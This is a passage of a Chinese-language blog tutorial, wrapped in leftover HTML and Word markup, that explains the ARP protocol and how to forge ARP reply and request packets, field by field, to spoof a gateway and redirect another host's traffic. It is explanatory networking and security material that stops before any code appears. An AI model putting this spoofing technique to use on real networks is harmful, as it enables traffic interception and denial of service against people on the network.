name=&quot;FollowedHyperlink&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Strong&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Emphasis&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Document Map&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Plain Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;E-mail Signature&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal (Web)&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Acronym&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Address&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Cite&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Code&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Definition&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Keyboard&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Preformatted&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Sample&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Typewriter&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Variable&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal Table&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation subject&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;No List&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Balloon Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;\/w:latentstyles&gt;&lt;\/xml&gt;&lt;![endif]--&gt;&lt;\/p&gt;\n<\/div><div class=\"gfmr-markdown-rendered\"><p><!--[if gte mso 9]&gt;MicrosoftInternetExplorer402DocumentNotSpecified7.8Normal0&lt;![endif]--><\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:16.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARP<span style=\"font-family:\u5b8b\u4f53\">\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u6b3a\u9a97\u653b\u51fb<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:16.0000pt;font-family:'\u5b8b\u4f53'\"><span style=\"font-family:\u5b8b\u4f53\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/span><br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u2014\u2014By:Wayne<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:16.0000pt;font-family:'\u5b8b\u4f53'\"><span>\u4e00\u3001<\/span><\/span><span style=\"font-size:16.0000pt;font-family:'\u5b8b\u4f53'\">ARP<span style=\"font-family:\u5b8b\u4f53\">\u7b80\u8ff0<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u6211\u4eec\u90fd\u77e5\u9053<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5728<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u4ee5\u592a\u7f51\u8bbe\u5907\u6bd4\u5982\u7f51\u5361\u90fd\u6709\u81ea\u5df1\u5168\u7403\u552f\u4e00\u7684MAC\u5730\u5740\uff0c\u5b83\u4eec\u662f\u4ee5MAC\u5730\u5740\u6765\u4f20\u8f93\u4ee5\u592a\u7f51\u6570\u636e\u5305\u7684\uff0c\u4f46\u662f\u5b83\u4eec\u5374\u8bc6\u522b\u4e0d\u4e86\u6211\u4eecIP\u5305\u4e2d\u7684IP\u5730\u5740\uff0c\u6240\u4ee5\u6211\u4eec\u5728\u4ee5\u592a\u7f51\u4e2d\u8fdb\u884cIP\u901a\u4fe1\u7684\u65f6\u5019\u5c31\u9700\u8981\u4e00\u4e2a\u534f\u8bae\u6765\u5efa\u7acbIP\u5730\u5740\u4e0eMAC\u5730\u5740\u7684\u5bf9\u5e94\u5173\u7cfb\uff0c\u4ee5\u4f7fIP\u6570\u636e\u5305\u80fd\u53d1\u5230\u4e00\u4e2a\u786e\u5b9a\u7684\u5730\u65b9\u53bb\u3002\u8fd9\u5c31\u662fARP(Address&nbsp;Resolution&nbsp;Protocol\uff0c\u5730\u5740\u89e3\u6790\u534f\u8bae)\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7528\u8fc7ARP\u6b3a\u9a97\u653b\u51fb\u7684\u4eba\u90fd\u77e5\u9053\u5bf9\u67d0\u53f0\u4e3b\u673a\u8fdb\u884cARP\u6b3a\u9a97\u53ef\u4ee5\u6709\u4e24\u79cd\u65b9\u6cd5\u5b9e\u73b0\uff0c\u4e00\u662f\u53d1\u9001ARP\u5e94\u7b54\u5305\uff0c\u4e8c\u662f\u53d1\u9001ARP\u8bf7\u6c42\u5305\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5728\u5411\u76ee\u6807\u4e3b\u673a\u53d1\u9001ARP\u5e94\u7b54\u5305\u65f6\uff0c\u76ee\u6807\u4e3b\u673a\u4e0d\u4f1a\u68c0\u67e5\u81ea\u5df1\u66fe\u662f\u5426\u53d1\u9001\u8fc7ARP\u8bf7\u6c42\uff0c\u800c\u4f1a\u76f4\u63a5\u6839\u636e\u63a5\u6536\u5230\u7684ARP\u5e94\u7b54\u5305\u4e2d\u7684\u5185\u5bb9\u4fee\u6539\u672c\u673a\u7684ARP\u7f13\u5b58\u8868\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5e7f\u64adARP\u8bf7\u6c42\u65f6\uff0c\u53ea\u8981\u662f\u63a5\u6536\u5230\u6b64ARP\u8bf7\u6c42\u5305\u7684\u4e3b\u673a\u4e5f\u4e0d\u4f1a\u68c0\u67e5\u6b64ARP\u8bf7\u6c42\u5305\u662f\u5426\u5728\u8bf7\u6c42\u81ea\u5df1\u7684MAC\uff0c\u800c\u4f1a\u6839\u636e\u8bf7\u6c42\u5305\u4e2d\u7684\u53d1\u9001\u65b9MAC\u548c\u53d1\u9001\u65b9IP\u6765\u4fee\u6539\u672c\u5730\u7684ARP\u7f13\u5b58\u8868\uff0c\u8fd9\u4e00\u673a\u5236\u867d\u7136\u51cf\u5c11\u4e86\u7f51\u7edc\u6d41\u91cf\uff0c\u4f46\u662f\u4e5f\u9020\u6210\u4e86\u5b89\u5168\u95ee\u9898\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u4e0b\u9762\u6211\u4eec\u6765\u770b\u4e00\u4e0bARP\u5305\u7684\u683c\u5f0f:<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u4ece\u7f51\u7edc\u5e95\u5c42\u770b\u6765\uff0c\u4e00\u4e2aARP\u5305\u662f\u5206\u4e3a\u4e24\u4e2a\u90e8\u5206\u7684\uff0c\u524d\u9762\u4e00\u4e2a\u662f<\/span><span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u4ee5\u592a\u7f51\u5934\uff0c<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5b83<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5b58\u5728<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u4e8e\u4efb\u4f55\u4e00\u4e2a\u534f\u8bae\u6570\u636e\u5305\u7684\u524d\u9762<\/span><span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\uff0c<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5176\u4e3b\u8981\u5185\u5bb9\u4e3a\u6536\u53d1\u53cc\u65b9\u7684\u7269\u7406\u5730\u5740\uff0c\u4ee5\u4fbf\u786c\u4ef6\u8bbe\u5907\u8bc6\u522b<\/span><span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\uff0c<\/span><span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u540e\u9762\u4e00\u4e2a\u662fARP\u5e27\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:128\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<!--[if gte mso 9]&gt;MicrosoftInternetExplorer402DocumentNotSpecified7.8Normal0&lt;![endif]-->\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<!--[if gte mso 9]&gt;&lt;![endif]-->\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:16.0000pt;font-family:'\u5b8b\u4f53'\"><span>\u4e8c\u3001<\/span><\/span><span style=\"font-size:16.0000pt;font-family:'\u5b8b\u4f53'\">\u586b\u5145<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5305<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:14.0000pt;font-family:'\u5b8b\u4f53'\"><span>1.<\/span><\/span><span style=\"font-size:14.0000pt;font-family:'\u5b8b\u4f53'\">ARP<span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u60f3\u5fc5\u5728<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u6b3a\u9a97\u653b\u51fb\u4e2d\uff0c\u5927\u5bb6\u6700\u5e38\u7528\u7684\u5c31\u662f\u53d1\u9001<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\u4e86\uff0c\u76ee\u6807\u8bbe\u5907\u4f1a\u6839\u636e<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\u4e2d\u4f2a\u9020\u7684\u53d1\u9001\u65b9<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u548c\u53d1\u9001\u65b9<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e24\u4e2a\u5b57\u6bb5\u6765\u4fee\u6539\u81ea\u5df1\u7684<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u52a8\u6001\u7f13\u5b58\u8868\u3002\u90a3\u4e48\u6211\u4eec\u5c31\u6765\u770b\u4e00\u4e0b<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\u662f\u5982\u4f55\u6784\u9020\u7684\uff0c\u5e76\u5c1d\u8bd5\u81ea\u5df1\u4f2a\u9020\u4e00\u4e2a<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u9996\u5148\u586b\u5145\u4ee5\u592a\u7f51\u5934\u90e8\uff0c\u63a5\u6536\u65b9<span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u81ea\u7136\u662f\u76ee\u6807\u7684<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5730\u5740\u4e86\uff0c\u53d1\u9001\u65b9<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e0d\u4e00\u5b9a\u5c31\u975e\u8981\u586b\u81ea\u5df1\u7684<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u6bd4\u5982\u5728<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u65ad\u7f51\u653b\u51fb\u4e2d\uff0c\u53d1\u9001\u65b9<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u662f\u53ef\u4ee5\u968f\u610f\u4f2a\u9020\u7684\u3002\u5e27\u7c7b\u578b\u81ea\u7136\u586b\u5145\u7684\u662f<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e27\u7684\u503c<\/span><span style=\"font-family:'Times New Roman'\">0x0806<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u82e5\u662f<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e27\u5219\u6b64\u5904\u5e94\u586b\u5145<\/span><span style=\"font-family:'Times New Roman'\">0x0800<\/span><span style=\"font-family:\u5b8b\u4f53\">\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u63a5\u4e0b\u6765\u586b\u5145<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e27\uff0c\u7531\u4e8e\u6211\u4eec\u8981\u6784\u9020\u7684\u662f<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\uff0c\u6240\u4ee5\u5728<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5305\u7c7b\u578b\u5b57\u6bb5\u4e2d\u5e94\u586b\u5145\u7684\u503c\u662f<\/span><span style=\"font-family:'Times New Roman'\">0x2<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u82e5\u8981\u6784\u9020\u8bf7\u6c42\u5305\uff0c\u5219\u6b64\u5904\u586b\u5145\u7684\u503c\u4e3a<\/span><span style=\"font-family:'Times New Roman'\">0x1<\/span><span style=\"font-family:\u5b8b\u4f53\">\u3002\u5176\u4e2d\u53d1\u9001\u65b9<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u548c\u63a5\u6536\u65b9<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u548c\u4ee5\u592a\u7f51\u5934\u4e2d\u586b\u5145\u7684\u503c\u662f\u4e00\u6837\u7684\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u6700\u540e\u7ed9\u51fa\u4e00\u4e2a\u5229\u7528<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\u6b3a\u9a97\u7684\u4f8b\u5b50\uff0c\u6bd4\u5982<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u548c<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u5904\u4e8e\u540c\u4e00\u7f51\u5173\u4e0b\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">A<span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">aaaaaaaaaaaa<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.2<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">B<span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">bbbbbbbbbbbb<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.3<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7f51\u5173<span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">xxxxxxxxxxxx<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.1<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;\u82e5<span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u60f3\u5192\u5145\u7f51\u5173\uff0c\u8ba9<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u53d1\u9001\u7ed9\u7f51\u5173\u7684\u6570\u636e\u53d1\u9001\u81f3\u81ea\u5df1\uff0c\u90a3\u4e48<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u53ef\u4ee5\u5411<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u53d1\u9001\u5982\u4e0b\u7684<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\uff1a<\/span><\/span>\n<\/p>\n<p>\n\t<a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/156005c5baf40ff51a327f1c34f2975b20140124160459.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:129\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-156005c5baf40ff51a327f1c34f2975b20140124160459.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a>\n<\/p>\n<p>\n\t&nbsp;\n<\/p>\n<p>\n\t<!--[if gte mso 9]&gt;MicrosoftInternetExplorer402DocumentNotSpecified7.8Normal0&lt;![endif]-->\n<\/p>\n<p>\n\t<!--[if gte mso 9]&gt;&lt;![endif]-->\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5982\u679c<span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u63a5\u6536\u5230\u4e86\u8fd9\u6837\u7684<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\uff0c\u5219\u4f1a\u83b7\u53d6<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e27\u4e2d\u7684\u201c\u53d1\u9001\u65b9<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u201d\u548c\u201c\u53d1\u9001\u65b9<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u201d\uff0c\u5e76\u5c06\u5176\u66f4\u65b0\u5230<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u7f13\u5b58\u8868\u4e2d\uff0c\u8fd9\u6837\u539f\u672c\u662f<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.1&#8211;xxxxxxxxxxxx<\/span><span style=\"font-family:\u5b8b\u4f53\">\u7684\u5bf9\u5e94\u8868\u5c31\u88ab\u4fee\u6539\u4e3a\u4e86\u8fd9\u6837\uff1a<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.1&#8211;aaaaaaaaaaaa<\/span><span style=\"font-family:\u5b8b\u4f53\">\u3002\u8fd9\u6837\u5f53<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u8981\u5411\u7f51\u5173\u53d1\u9001\u6570\u636e\u65f6\uff0c\u56e0\u4e3a\u7f13\u5b58\u8868\u4e2d\u9519\u8bef\u7684\u5bf9\u5e94\u5173\u7cfb\uff0c\u4f1a\u5bfc\u81f4<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u7684\u6570\u636e\u88ab\u53d1\u9001\u5230<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e0a\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:14.0000pt;font-family:'\u5b8b\u4f53'\"><span>2.<\/span><\/span><span style=\"font-weight:normal;font-size:14.0000pt;font-family:'\u5b8b\u4f53'\">ARP<span style=\"font-family:\u5b8b\u4f53\">\u8bf7\u6c42\u5305<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">ARP<span style=\"font-family:\u5b8b\u4f53\">\u8bf7\u6c42\u5305\u548c\u5e94\u7b54\u5305\u7684\u6784\u9020\u5f88\u76f8\u4f3c\uff0c\u4f46\u9700\u8981\u4fee\u6539\u4e09\u5904\u5b57\u6bb5\u503c\uff0c\u4ee5\u592a\u7f51\u5934\u90e8\u4e2d\u7684\u201c\u63a5\u6536\u65b9<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u201d&nbsp;\u5e94\u586b\u5145<\/span><span style=\"font-family:'Times New Roman'\">ffffffffffff(<\/span><span style=\"font-family:\u5b8b\u4f53\">\u8868\u793a\u8981\u7ed9\u5168\u7f51\u53d1\u9001\u5e7f\u64ad<\/span><span style=\"font-family:'Times New Roman'\">)<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e27\u4e2d\u7684\u201c<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5305\u7c7b\u578b\u201d\u81ea\u7136\u5e94\u5f53\u586b\u5145<\/span><span style=\"font-family:'Times New Roman'\">0x1<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u8868\u793a\u6b64<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5305\u662f\u8bf7\u6c42\u5305\uff0c\u201c\u63a5\u6536\u65b9<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u201d\u7528<\/span><span style=\"font-family:'Times New Roman'\">0x00<\/span><span style=\"font-family:\u5b8b\u4f53\">\u586b\u5145\u5c31\u53ef\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span 